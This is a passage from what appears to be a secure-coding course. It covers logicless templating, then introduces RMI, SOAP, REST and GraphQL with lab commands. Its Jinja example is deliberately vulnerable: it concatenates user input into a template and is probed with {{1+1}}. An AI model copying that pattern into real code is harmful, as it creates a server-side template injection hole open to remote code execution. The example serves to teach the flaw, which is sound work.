10: {{#displayNumber}}
11: {{i}}
12: {{/displayNumber}}
Listing 21 - FizzBuzz implemented with Mustache (case 1)
Our second option is to define the value we need to print directly in
the controller, only using Mustache to print the value.
01: {{FizzBuzz}}
Listing 22 - FizzBuzz implemented with Mustache (case 2)
Just because we can have complex validations in templating engines
that support logic does not mean we must use those capabilities
all the time. A logical engine such as Jinja can be used in a
logicless fashion. However, in the case of a logicless templating
engine like Mustache, we can't natively include logic with it.
The main argument for using a logicless engine is that it helps us
separate our presentation logic from our business logic more clearly,
which, in turn, allows us to have designers focus on their main task
without worrying too much about more complex templating syntax. This
is what we discussed when we covered MVC.
We also gain a better security posture if we avoid complex logic in
our templates. In templating engines with logic support such as Twig
or Jinja, it is possible to make the mistake of using user-controlled
input as a template, which creates scenarios that can lead to remote
code execution. Let's review an example of one such case in Jinja.
File: /home/student/injection/example.py
01: import jinja2
02: from jinja2 import Environment
03:
04: if __name__ == "__main__":
05: name = input("Hi, what's your name > ")
06: template="Hello " + name
07: environment = jinja2.Environment()
08: tpl = environment.from_string(template)
09: print(tpl.render(name=name))
Listing 23 - Example of template injection
On line 6, the string that will be rendered as a template is
concatenated with the value that we are receiving from the command
line. If a user were to enter a value like {{1+1}}, the result of
that addition would be printed.
student@templates:~/injection$ python3 /home/student/injection/example.py
Hi, what's your name > {{1+1}}
Hello 2
Listing 24 - Execution of code vulnerable to template injection
The output we provided was evaluated. This could be exploited by an
attacker to gain remote command execution.
In this Topic, we have explored templating engines and design
paradigms that take advantage of them as a way to implement
separation of application concerns. We also discussed the benefits
and features of templating engines. Finally, we demonstrated how bad
implementations can create risks, especially while mixing templates
with unsanitized user-controlled data.
Introduction to Web Services
In this Learning Module, we will cover the following Learning Units:
- Consuming remote data and functionality
- Introduction to security for web services
When isolated from other technical systems, platforms' capabilities
become extremely limited. Eventually, we will require a way to provide
or receive data from a third-party, process data we don't possess, or
send data to be processed remotely.
During this Module, we'll explore ways to interact with interfaces
that provide standardized communications between systems, as well as
analyze methodologies to secure these communications.
Let's begin by clarifying a few terms. Although sometimes used
interchangeably, web service[603] and API[604]
do not mean exactly the same thing. The term API means Application
Programming Interface, and was first used to describe the way
programs can define communication channels to interact with each
other. Web services are a type of API (sometimes referred to as
a Web API) that also allow us to publish functionality between
systems, but in this case, the communication is more commonly remote.
Web services produce information, which is why in this context, users
are also known as consumers.
Another ambiguity we need to address is that in programming languages,
we sometimes refer to functions as methods. This is also the case
with web services. However, the word "method" has a different meaning
in the context of HTTP. This means that unless we are referring to the
HTTP protocol, we can assume that we're using the word "method" as a
synonym for function.
Consuming Remote Data and Functionality
This Learning Unit covers the following Learning Objectives:
- Understand the basic concepts of web services
- Explore different ways to implement web services
- Learn how to consume web services using available tools
Modern architectures rely on distributed systems, and it's uncommon
to use completely isolated systems. Even if we're creating internal
solutions and following a micro-services architecture, we need to
delimit the responsibility of components, meaning we need to create
ways for those components to interact, either to share data or to
process remote information.
Ideally, when communicating between systems, it's important to
establish a contract (or interface) defining the operations one
system will offer, its inputs and outputs. However, in some cases,
we might need to extract information from systems where there are no
standardized means to do so. In such cases, it's common to implement
web scrapers[605] that parse HTML returned from
websites, and extract information from there. However, since there is
no contract when using web scrapers, website administrators are free
to change the structure of the HTML returned by their site without
notice, thus forcing scrapers to adjust their parsers.
Before the web was ubiquitous, the approach that was used to
exchange data among systems was called Remote Procedure Call
(RPC).[606] Currently, the most common ways to
achieve remote communication between systems are SOAP,[607]
RESTful,[608] GraphQL,[609] and gRPC.[610]
When Object Oriented Programming[611] gained
popularity, communications between systems were typically implemented
using Common Object Request Broker Architecture (CORBA),[612]
and Java's analogue to CORBA, Remote Method Invocation
(RMI).[613] Although no longer used in most modern configurations,
understanding RMI will help us grasp how web services communications
work.
Let's analyze a Java solution with RMI client and server components.
To follow along, let's start the VM in the Resources section
at the bottom of this page. We need to create an entry in our
/etc/hosts file so that we can access the VM.
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.50.136 webservices
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Listing 1 - Editing our hosts file
Using this configuration, we'll be able to connect to the VM via the
browser and use a web-based IDE to read code.
Throughout this Learning Module, we can also access a browser-based
version of VSCode on the Templates VM by port forwarding through
an SSH tunnel. We'll use ssh, set -N to avoid executing a
remote command, and enable port forwarding with -L, followed by
our local port (8080), the IP address, and port on the remote host.
If this is our first time connecting to the host with SSH, we will
be prompted to continue connecting after reviewing the host's key
fingerprint.
kali@kali:~$ ssh -N -L 0.0.0.0:8080:127.0.0.1:8080 student@webservices
The authenticity of host 'webservices (192.168.50.136)' can't be established.
ED25519 key fingerprint is SHA256:pA6AusEU0+Eh9C+NR4pnQgWPcELUtuCmXfynHiuSZkk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'templates' (ED25519) to the list of known hosts.
student@templates's password:
Listing 2 - Forwarding port 8080 through an SSH tunnel
Once we have created our tunnel, we can access VSCode on port 8080 of
our loopback interface 127.0.0.1.
Now we can open any of the files or directories that we will cover.
For our exercise, we need to open our browser and navigate to
http://127.0.0.1:8080/?folder=/home/student/RMIExample.
If prompted to trust the authors of the files in VSCode, we can
click Yes, I trust the authors.
Continuing with our example, the goal of this application is to
allow a client to ask a server the result of adding two numbers. The
complete code of this project is located in the directory we opened on
our VSCode instance.
To successfully use RMI, we'll need a few elements: the server that
we will divide into two parts (an interface[614] and a class
that implements that interface), and the client.
The first element we need for RMI is an interface. In Java, interfaces
are lists of method signatures that a class can later implement. They
aim to provide a standard for different classes to follow so that when
we use a class that implements a method, we'll know what to expect (if
a class adheres to a specific interface).
Let's review the interface of our RMI implementation.
File: /home/student/RMIExample/src/main/java/com/offsec/ssd/rmiexample/skel/RemoteMathHelper.java
01: package com.offsec.ssd.rmiexample.skel;
02: import java.rmi.Remote;
03: import java.rmi.*;
04:
05: public interface RemoteMathHelper extends Remote {
06: public int add(int x,int y)throws RemoteException;
07: }
Listing 3 - Java Interface
Line 6 contains the signature of the method that the client will
consume and the server should implement.
The second element is the server's implementation of the function(s)
defined by the interface.
Let's analyze the implementation of RemoteMathHelper.
File: /home/student/RMIExample/src/main/java/com/offsec/ssd/rmiexample/server/RemoteMathImpl.java
08:public class RemoteMathImpl extends UnicastRemoteObject implements RemoteMathHelper {
09: public RemoteMathImpl() throws RemoteException {
10: super();
11: }
12:
13: @Override
14: public int add(int x, int y) throws RemoteException {
15: return x+y;
16: }
17: }
Listing 4 - RMI server implementation
On line 8, there is a declaration that the class is implementing the
interface RemoteMathHelper, which is the interface that we defined
on Listing 3. We also extend[615] the
class java.rmi.server.UnicastRemoteObject,[616]
which allows us to export this class so an RMI client can use it.
Finally, from lines 13 to 16, we'll observe the actual definition of
the function that remote clients will be able to consume.
The keywords "implements" and "extends" are similar in the sense
that they both allow us to add predefined behaviors to a class.
However, when we want a class to adhere to an interface, we use
implements, whereas when we want to inherit from another class,
we use extends.
The third element is the client. RMI requires the client to connect
to the host where the server is running via a specific port. Let's
inspect the code where this occurs:
File: /home/student/RMIExample/src/main/java/com/offsec/ssd/rmiexample/Main.java
16: int port = 5432;
...
31: } else if (args[0].equals("client")) {
...
51: try {
52: Registry registry = LocateRegistry.getRegistry(host, port);
53: RemoteMathHelper stub = (RemoteMathHelper) registry.lookup("RemoteMath");
54: int response = stub.add(x,y);
55: System.out.println("Response: " + response);
56: } catch (Exception e) {
57: System.err.println("Client exception: " + e.toString());
58: e.printStackTrace();
59: }
60: }
Listing 5 - RMI client connection
Line 16 contains the definition of an integer value that sets the port
that we'll use to connect to the server.
From lines 52 to 55, the client connects to the server, requests a
reference to a RemoteMathHelper object, and, using that reference,
can call the function add() as if it were a normal Java method.
To run our application, we can use the instance of VSCode on our
browser. First, let's open two terminal windows.
To open the first terminal window, let's use the hotkey C +
`, followed by C + B + `. We'll
then have two ready-to-use bash terminals. We can observe their labels
on the right side of the screen.
Using one of the terminal sessions, let's execute
RMIExample-1.0-SNAPSHOT-jar-with-dependencies.jar with the
parameter server to run the server. To paste commands in the VSCode
terminals, we'll need to use the shortcut C + v.
student@webservices:~/RMIExample$ java -jar /home/student/RMIExample/target/RMIExample-1.0-SNAPSHOT-jar-with-dependencies.jar server
Starting server
Server ready
Listing 6 - RMI server execution
We've now instructed our server to start listening on port 5432.
To run our client, we need to switch to our other
available terminal, then execute
RMIExample-1.0-SNAPSHOT-jar-with-dependencies.jar. We'll also
need to add a few parameters. First, we'll use the word client to
indicate the role the jar will have in this execution. The second
parameter is the IP of the server, in this case, the loopback address
127.0.0.1. Finally, the third parameter is the port where the server
is running, which is 5432 in our example.
student@webservices:~/RMIExample$ java -jar /home/student/RMIExample/target/RMIExample-1.0-SNAPSHOT-jar-with-dependencies.jar client 127.0.0.1 5432
This is a client of the RemoteMath server, let's add two numbers
Enter the first number>
5
Enter the second number>
10
Response: 15
Listing 7 - RMI client execution
The execution allowed us to input two numbers and add them remotely on
the server.
This example showcased the main components of a client-server model,
which are also the basis of web services in general. Although RMI is
no longer commonly used, it's worth analyzing to better understand how
these types of communications take place.
To follow along with this section, let's start the VM in the
Resources section at the bottom of this page. Next, we need to
recreate the SSH tunnel to access our browser-based IDE.
Simple Object Access Protocol (SOAP) is a messaging protocol that
allows us to exchange information between systems in a structured way
using XML.[617]
One of its main advantages is that it's protocol-agnostic, which means
we can use SOAP via many protocols, such as SMTP and HTTP. However,
the most prominent way of using SOAP is via HTTP.
SOAP support is quite varied between different programming languages.
While some have very strong support, such as Java or .NET, others have
limited support or depend on third-party libraries, such as Python
or PHP. Regardless, since SOAP creates a layer on top of an existing
protocol such as HTTP, it is feasible to implement the required
requests and responses to interact with SOAP servers, regardless of
native support.
SOAP is very structured and rigid. The server needs to define
a contract[618] that establishes the operations that
clients will be able to consume. Web Services Description Language
(WSDL)[619] files define SOAP contracts with XML and a custom
schema.
Some tools can be used to generate the WSDL, so most of the time we
won't need to create this file manually.
Let's analyze the structure of a WSDL document with an example.
To retrieve the contents of the file from our Kali machine, we can
execute the command curl[620] and the URL of our WSDL curl
http://webservices?wsdl.
01: <?xml version="1.0" encoding="ISO-8859-1"?>
02: <definitions xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="www.offsec.com/ssd?wsdl" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns="http://schemas.xmlsoap.org/wsdl/" targetNamespace="www.offsec.com/ssd?wsdl">
03: <types>
04: <xsd:schema targetNamespace="www.offsec.com/ssd?wsdl">
05: <xsd:import namespace="http://schemas.xmlsoap.org/soap/encoding/" />
06: <xsd:import namespace="http://schemas.xmlsoap.org/wsdl/" />
07: </xsd:schema>
08: </types>
09: <message name="helloRequest">
10: <part name="name" type="xsd:string" />
11: <part name="lang" type="xsd:string" /></message>
12: <message name="helloResponse">
13: <part name="return" type="xsd:string" /></message>
14: <message name="timeInLondonRequest"></message>
15: <message name="timeInLondonResponse">
16: <part name="currentTimeUTC" type="xsd:string" /></message>
17: <portType name="multilanguage-greetingsPortType">
18: <operation name="hello">
19: <input message="tns:helloRequest"/>
20: <output message="tns:helloResponse"/>
21: </operation>
22: <operation name="timeInLondon">
23: <input message="tns:timeInLondonRequest"/>
24: <output message="tns:timeInLondonResponse"/>
25: </operation>
26: </portType>
27: <binding name="multilanguage-greetingsBinding" type="tns:multilanguage-greetingsPortType">
28: <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
29: <operation name="hello">
30: <soap:operation soapAction="http://webservices/index.php/hello" style="rpc"/>
31: <input><soap:body use="encoded" namespace="" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/></input>
32: <output><soap:body use="encoded" namespace="" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/></output>
33: </operation>
34: <operation name="timeInLondon">
35: <soap:operation soapAction="http://webservices/index.php/timeInLondon" style="rpc"/>
36: <input><soap:body use="encoded" namespace="" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/></input>
37: <output><soap:body use="encoded" namespace="" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/></output>
38: </operation>
39: </binding>
40: <service name="multilanguage-greetings">
41: <port name="multilanguage-greetingsPort" binding="tns:multilanguage-greetingsBinding">
42: <soap:address location="http://webservices/index.php"/>
43: </port>
44: </service>
45: </definitions>
Listing 8 - WSDL example
Although the WSDL file may seem intimidating, the document contains
the methods that the server is offering and the schema to communicate
with the server. This includes the input and output parameters of
those methods, including their data types.
Let's highlight the key parts of the file from Listing
8. On line 40, the tag service is the most global
definition.
The service tag contains one or many ports that indicate to the
client the URL where services can be consumed and the bindings each
address offers.
The most important part of bindings is the list of operations that
they offer. Making an analogy with a source code file, the operations
represent the signature[621] of our functions.
On line 27, we can find the binding that our service offers. Line 28
also contains the style; in this case, we are using an RPC style
because we are working with specific input and output parameters.
If that weren't the case, we could use a document style to return
unstructured data.
On lines 29 and 34, we can find that as part of the operation
tags, this service in particular offers two methods that are uniquely
identified by a soapAction. The value of this attribute is used by
clients via an HTTP header to indicate which operation is required.
Line 17 provides more details about the signature of the methods. In
some cases, we will require complex types for either inputs or outputs.
In the case of the hello operation, the input is a complex data type
called helloRequest that is defined on line 9.
Each complex type we are using needs to be declared, which is why
on lines 9 through 11, we can find that helloRequest contains two
parameters that are both strings.
Let's explore the code that generated the WSDL we just inspected.
With the configuration and the SSH tunnel we previously
created, we can access VSCode by visiting
http://127.0.0.1:8080/?folder=/home/student/soap/.
File: /home/student/soap/index.php
...
05: $URL = "www.offsec.com/ssd";
06: $namespace = $URL . '?wsdl';
07: $server = new soap_server();
08: $server->configureWSDL('multilanguage-greetings', $namespace);
09: $server->register('hello', array("name"=>"xsd:string", "lang"=>"xsd:string"), array("return"=>"xsd:string"));
10: function hello($name, $language)
11: {
...
28: return $result;
29: }
...
37: // create HTTP listener
38: $server->service(file_get_contents("php://input"));
39: exit();
Listing 9 - SOAP server (PHP)
The file that defines the server contains values that should be
familiar to us because they are also part of the WSDL. On line 8, we
can find the name of the binding and the namespace that are also on
the WSDL.
Line 9 registers the hello method by mapping it to a regular PHP
function. It also defines the data types of the input and output
parameters so that those types are reflected on the WSDL.
Finally, on line 38, the server starts operating and receives the raw
HTTP body payload so that it can be parsed.
Now that we understand how to identify SOAP methods and the parameters
they require, let's consume a SOAP web service using a graphical tool.
We also have access to our server via RDP. Let's execute the command
xfreerdp with three parameters: /u: corresponds
to the user that is connecting, /p corresponds to
the password, and /v is the hostname or IP of the RDP server.
If the size is too large for our environment, we could also add the
parameter /size:80%.
kali@kali:~$ xfreerdp /u:student /p:studentlab /v:webservices
Listing 10 - Connecting via RDP
After connecting, if we are presented with a message asking us
for the password of the root user, we can click Cancel.
On the desktop, we'll find an icon with the label Soap
UI.[622] Let's double-click it.
Next, we'll encounter a pop-up with the title Stay Tuned. We can
click Skip. Then, another pop-up with the name Endpoint Explorer
will appear, which we can close. Finally, let's click on the button
with the label SOAP on the top left corner of the toolbar.
After clicking the button, we'll receive a dialog requesting
some parameters for our project. We can enter HelloSOAP
for Project Name, and for the Initial WSDL, we'll type
http://127.0.0.1/index.php?wsdl. We are using the loopback address
because we are executing SoapUI on the same VM where the server is
running.
We also need to make sure that Create sample requests for all
operations remains checked. We can then click OK. At this point, a
sidebar appears presenting the operations that the endpoint offers and
example requests for each of them.
Let's expand the hello operation and then double-click Request 1.
We'll get a window with the following text:
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<hello soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<name xsi:type="xsd:string">?</name>
<lang xsi:type="xsd:string">?</lang>
</hello>
</soapenv:Body>
</soapenv:Envelope>
Listing 11 - SOAP body envelope
Just like with the WSDL, we don't need to worry too much about the
structure of this XML because in most cases, libraries generate
methods that abstract this from us. However, we'll note that inside
the soapenv:Body tag, we can find the parameters that are defined on
the WSDL.
The character ? inside the parameter tags can be replaced with the
values we want to send. For the name, we can use John, and for the
language, we can use en. Next, let's execute the request using the
hotkeys E + I.
After execution, the response panel might show us raw content. We can
click the tab called XML to improve readability.
One detail that was abstracted[623] from us is the fact
that for the server to recognize the method that we are calling,
besides the request body, we also need to send a header. The header
needed is soapAction, which is also provided by the WSDL for each of
the operations.
Let's explore this deeper. We have another operation that requires
no input parameters named timeInLondon. To call it, let's open a
Terminal window within the RDP session we have.
We'll execute curl with the URL of our SOAP server
http://127.0.0.1/index.php, as well as the parameter -X "POST"
to set the method of the request to POST, and the parameter -H
'SOAPAction: "http://127.0.0.1/index.php/timeInLondon"' to include
an HTTP header.
student@webservices:~$ curl http://127.0.0.1/index.php -X "POST" -H 'SOAPAction: "http://127.0.0.1/index.php/timeInLondon"'
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><timeInLondonResponse><currentTimeUTC xsi:type="xsd:string">2022-11-29 21:42:37</currentTimeUTC></timeInLondonResponse></SOAP-ENV:Body> </SOAP-ENV:Envelope>
student@webservices:~$
Listing 12 - Calling a SOAP method via Curl
As we just explored, in the case of the method timeInLondon, we only
needed the SOAPAction header to call it because the operation does not
receive input parameters.
Let's now revisit the first method hello, but let's use curl to
consume it. We can use the same terminal session we have open.
We'll execute curl with the URL of our SOAP server
http://127.0.0.1/index.php, using the parameter -X "POST"
to set the method of the request to POST, and the parameter -H
'SOAPAction: "http://127.0.0.1/index.php/hello"' to include an HTTP
header. In this case, we have a payload, so we need to indicate to
the server the type of payload using the parameter -H "Content-Type:
text/xml". Finally, we'll send the same xml payload we used on
SoapUI with the flag --data '${payload}'.
student@webservices:~$ curl http://127.0.0.1/index.php -X "POST" -H "Content-Type: text/xml" -H 'SOAPAction: "http://127.0.0.1/index.php/hello"' --data '<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><hello soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><name xsi:type="xsd:string">John</name><lang xsi:type="xsd:string">es</lang></hello></soapenv:Body></soapenv:Envelope>'
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:helloResponse xmlns:ns1="http://schemas.xmlsoap.org/soap/envelope/"><return xsi:type="xsd:string">Hola, John</return> </ns1:helloResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
student@webservices:~$
Listing 13 - Calling SOAP with a payload
In this case, besides the SOAPAction header, we also needed to include
the Content-Type, and the XML payload was included as the body of
the request.
SOAP is very useful. Until recently, it remained the preferred way to
create interfaces in Service Oriented Architectures (SOA),[624]
but it has a few downsides. The most considerable issues are its
rigidity with inputs and outputs and the verbosity of requests and
responses. This is because XML is more difficult for people to read
than other serialization formats, such as JSON.
SOAP is still used by many organizations, but in some cases, it is
being slowly phased out in favor of other more modern and flexible
approaches such as RESTful and GraphQL, which we will discuss next.
Representational State Transfer (RESTful) allows us to leverage
HTTP to publish functions. RESTful differs from SOAP because it is
not mandatory to define an equivalent to the WSDL file. We are also
not constrained to a serialization format. In RESTful solutions it is
common to use JSON, however, we can also return XML.
One of the main characteristics of RESTful URLs (also called
endpoints) is that they are semantically descriptive in the way that
they are designed, even though there are no enforced rules. This means
that even if a RESTful service does not follow common practices, it
can still be successfully published and consumed.
RESTful services usually map URLs to entities that are part of the
business logic, such as users, a shopping cart, or products. Our
requests apply to resources that are instances of those entities.
The URL structure instructs the service what object we want to
interact with. The HTTP method then indicates what action we want to
perform on that object.
URLs in RESTful services differ from SOAP, where a single URL
can offer many functions. In RESTful services, we have different
URLs for each functionality we want to publish, for instance:
http://webservices:8085/v1/artists/2?optional_query_string_parameter=value.
After the domain and port, the following part of the URL corresponds
to the version of the API. This is useful to maintain backward
compatibility so that we can release new functionality without
disrupting clients who require a previous version. The next element
is the entity, for instance, artists. The final two elements of the
example are parameters, which can be part of the path or sent as query
strings.
When we call an HTTP endpoint, we need to define a
method[625] for the request. Methods, also called HTTP
verbs, are used to state the purpose of RESTful calls.
-
GET is used when we want to obtain a resource.
-
POST means that we want to create a resource, or execute a process.
-
PUT is used to create or replace a resource.
-
PATCH is used when we want to update a resource.
-
DELETE is used to remove a resource.
It is up to the application to adhere to the actions associated with
each verb, and this is not mandatory. However, if applications perform
actions that create or destroy resources via GET requests, then
issues might arise. For instance, if the application uses a Content
Delivery Network (CDN)[626] that caches GET requests to improve
performance, those requests might not always reach the application
server, as opposed to POST and DELETE requests that are not
cached.
Besides URL parameters, we can also include additional input
parameters as part of the body of the HTTP payload. This is usually
done via URL-encoded parameters (like when we send an HTML form), or
via a JSON payload.
Output parameters are usually returned as JSON strings. It is also
possible to return raw HTML or any other document type.
Additional information can be provided to the server via HTTP
headers. For instance, if the server can respond using different
serialization methods, we can provide which one we prefer via the
Accept header with a value such as application/json. Another use
case for headers is to provide authentication parameters.
HTTP provides families of status codes that can be leveraged when
we design RESTful services so that responses are easier to parse. The
main goal is making it easier to review what occurred before analyzing
the response body. Let's analyze each family of response codes. They
are grouped using their first three digits. The first digit provides a
general idea of what occurred.[627]
-
1xx status codes are informational, but temporary.
-
2xx means the execution was successful - the most common one is 200
OK. -
3xx means the resource has been relocated, sometimes temporarily or
permanently. -
4xx means the request is not correct because of a user error.
-
5xx means the server could not complete the request because of
a server-related error.
Although we mentioned that it is not mandatory to define a
document similar to SOAP's WSDL, there is a specification called
OpenAPI,[628] formerly called Swagger specification, that
allows us to define a machine-readable document providing information
about our RESTful APIs.
This can also be accompanied by a web interface called
SwaggerUI[629] with human-readable documentation
and clients to test the methods. Some frameworks, such as
FastAPI[630] and SpringBoot,[631] can
automatically generate both the documentation and the web interface.
Now that we are familiar with the structure of RESTful services,
let's consume one. First, we'll need to find the functions we have
available.
To follow along with this section, let's start the VM in the
Resources section at the bottom of this page. After that, we need to
recreate the SSH tunnel to access our browser-based IDE.
Let's navigate to http://webservices:8085/docs to find the
documentation of our methods.
We need to be careful if our documentation is public in
production. This can be a security risk since an attacker could gain
insights about our attack surface.
The documentation UI provides the names, HTTP methods, and
descriptions of the seven available functions. Most of the functions
respond to GET requests, but one of them responds to GET and
POST requests.
If we expand a function, the page lets us consume it. Let's click on
GET /artists so we can consume the method /artists.
After opening the URL, the section of the method we want to call will
be expanded. We need to click the button Try it out; the layout will
change to inform us if we need to enter any parameters. Since this
function does not require any parameters, let's click on Execute.
After the method is executed, besides the response in one of the
sections, we will also find the format of an equivalent curl command
to repeat the invocation.
The command that the interface provides contains the parameters
-X 'GET', which defines the HTTP method, and -H 'accept:
application/json, which indicates that we expect to receive
our response serialized as a JSON object.
kali@kali:~$ curl -X 'GET' 'http://webservices:8085/artists' -H 'accept: application/json'
{"success":true,"artists":[{"id":1,"name":"Antonio Vivaldi"},{"id":2,"name":"Ludwig van Beethoven"}]}
Listing 14 - Executing a REST function via curl
Excellent! The execution with curl provided the same response we
received via the web interface.
Let's investigate another way to interact with our RESTful API. To
start, we'll need to connect to our server via RDP.
kali@kali:~$ xfreerdp /u:student /p:studentlab /v:webservices
Listing 15 - Connecting via RDP
After connecting, we'll find an icon with the label
Postman[632] on the desktop. Let's double-click it.
When the application starts, it might ask us to sign in or create an
account. If that happens, we can click on Skip and go to the app.
Then we can type the hotkey C + o.
A pop-up window with the title Import will appear. We
need to navigate to the Link tab and enter the URL of our
openapi.json file. Because we are on the same server where the
API is being hosted, we can use the loopback IP to call the URL
http://127.0.0.1:8085/openapi.json.
Next, we can click on Continue, then on Import.
We'll next encounter a collapsed tree called FastAPI containing
the same functions that we found when we explored the project via our
browser.
Let's expand all of our available functions. We will find one called
Create a new artist.
We are using the HTTP method POST because we are creating a
resource.
Let's double-click that option, and a new window will appear.
Postman allows us to define variables, which is why the textbox
that contains the URL starts with {{baseurl}}. We can replace
this with http://127.0.0.1:8085. The URL bar should contain
http://127.0.0.1:8085/artists.
We'll need to switch to the tab called Body, and the table below
will autofill the name of the variable we need to include as part of
the request.
The artist we will create is Wolfgang Amadeus Mozart, so let's enter
this value corresponding to the name key.
Next, we'll click Send, and our request will execute. Postman
shows the status code and the response body in the section below the
parameters we entered.
The response contains the name of the artist we submitted and the
id of the resource.
We can now verify that the value was saved by calling the method that
has the label Get all artists. Let's click on that option. After
ensuring that the URL bar contains http://127.0.0.1:8085/artists,
we can click Send to obtain the response.
The JSON response contains all the records, including the new one that
we created.
Having consumed our API, let's analyze its code. We'll
begin by making sure the SSH tunnel is still active.
We can access VSCode by visiting
http://127.0.0.1:8080/?folder=/home/student/rest/.
This particular API uses the Python framework called FastAPI. The main
advantage of this framework is that it allows us to define regular
Python functions, as well as add a decorator[633] to
define their behavior as part of the REST API.
File: /home/student/rest/main.py
002: from fastapi import FastAPI, Response, status, Form
...
107: @app.get("/artists",
108: summary="Get all artists",
109: tags=["Artists"]
110: )
111: def get_all_artists(response: Response ):
112: session = get_session()
113: artists = session.query(Artist).all()
114: session.close()
115: return {"success": True,"artists": artists}
...
Listing 16 - FastAPI code
From lines 107 to 110, the decorator defines some information required
to generate the documentation, as well as the method of the HTTP
request and the URL.
Line 111 receives a parameter that contains the response. This
is useful in case we need to change the status code. For instance,
we can set it to a 404 status code, response.status_code =
status.HTTP_404_NOT_FOUND.
Even if we weren't using a framework, as long as we follow the
semantic rules and naming conventions, we will be able to create
RESTful APIs.
It is worth noting that we need to be careful not to create
opportunities for data leaks when designing RESTful APIs. Let's
explore an example.
File: /home/student/rest/main.py
...
117: @app.get("/artists/{artist_id} ",
118: summary="Find an artist by ID",
119: tags=["Artists"]
120: )
121: def get_artist_by_id(artist_id: int, response: Response):
122: session = get_session()
123: artist = session.query(Artist).filter_by(id = artist_id).all()
124: session.close()
125: if not artist:
126: response.status_code = status.HTTP_404_NOT_FOUND
127: return {"success": False, "message":"Artist not found"}
128: else:
129: return {"success": True, "artist":artist[0]}
...
Listing 17 - Artist Search with FastAPI
In this case, our search parameter is received as part of the path and
no sensitive information is being shared.
If this method had handled sensitive information, it would have been
necessary to add authentication and authorization logic depending on
the filter parameter. Otherwise, we could have caused a vulnerability
called Insecure Direct Object Reference (IDOR).[634]
GraphQL is relatively new, created in 2012 by Facebook and commonly
described as "a query language for APIs". It's an open-source
standard that allows us to publish flexible APIs in the sense that the
responses the server provides depend on the fields that are requested
by the client.
This flexibility is useful because in cases where we have regular REST
APIs that allow us to access database tables, it might be necessary
to execute multiple requests to obtain the information we need in a
particular situation. We also might be requesting more information
than necessary.
Although this may not seem too significant, in situations where
performance is critical, it is good to be able to optimize what we
request from our database. To achieve this with RESTful or SOAP APIs,
we would need to create different endpoints and functions for every
data requirement use case.
Atomicity[635] is another aspect that we need to consider.
Atomicity is a database property that helps us guarantee that either
a series of events happens successfully, or it doesn't occur at all.
The goal is to avoid inconsistencies that might arise if a series of
events is only partially completed.
In situations where high latency is a possibility, such as in mobile
apps, executing many requests sequentially could create a situation
where we obtain only some of the data we require for the user. Being
able to retrieve as many fields as we need in a single request helps
us improve user experience.
Unlike RESTful APIs, with GraphQL services we don't have to worry
about creating different endpoints. We only need one, typically called
/graphql. We need to use the POST HTTP method to interact with
the API.
To create GraphQL services, we need to create a schema. This is not
necessarily the same schema we defined in our database; it's a way to
establish the fields that we will publish for each entity.
We can link our GraphQL schema with our data by using
resolvers.[636] Resolvers are the logic we define to
extract the information from its source. The data source can be
anything, including but not limited to a database engine, plaintext
files, or even other web services.
Similar to the way we use HTTP methods to express our intentions
in RESTful APIs, in GraphQL services, we have three possible
types of operations with the server: queries, mutations, and
subscriptions.
-
Queries are used to get information from the server.
-
Mutations are used to create, modify and delete data.
-
Subscriptions are a special use case allowing us to define a
persistent connection between the client and the server to enable
real-time communication.
Let's explore the structure of the requests we need to send to
interact with GraphQL APIs. The following example shows some queries
available on our VM.
01: query{
02: song(songId:1){
03: id,
04: name,
05: artistId
06: }
07: songs{
08: name
09: }
10: artists{
11: name,
12: songs{
13: name
14: }
15: }
16: }
Listing 18 - Structure of a GraphQL Query
Listing 18 contains the syntax required to ask the
server for three data sets. Although it is similar to JSON, this
document format is different.
The first word of the request, as line 1 shows, contains the type of
request. In this case, it's query, but it could also be a mutation
or a subscription.
Lines 2, 7, and 10 contain the names of queries that the server
supports, which are song, songs, and artists.
Line 2 contains a parameter that in this case is used as a filter.
This way of providing parameters also applies to mutations.
Lines 3, 4, and 5 contain the fields that we want the server to return
for the query called song.
Line 8 indicates that we are only requesting one field from the query
songs.
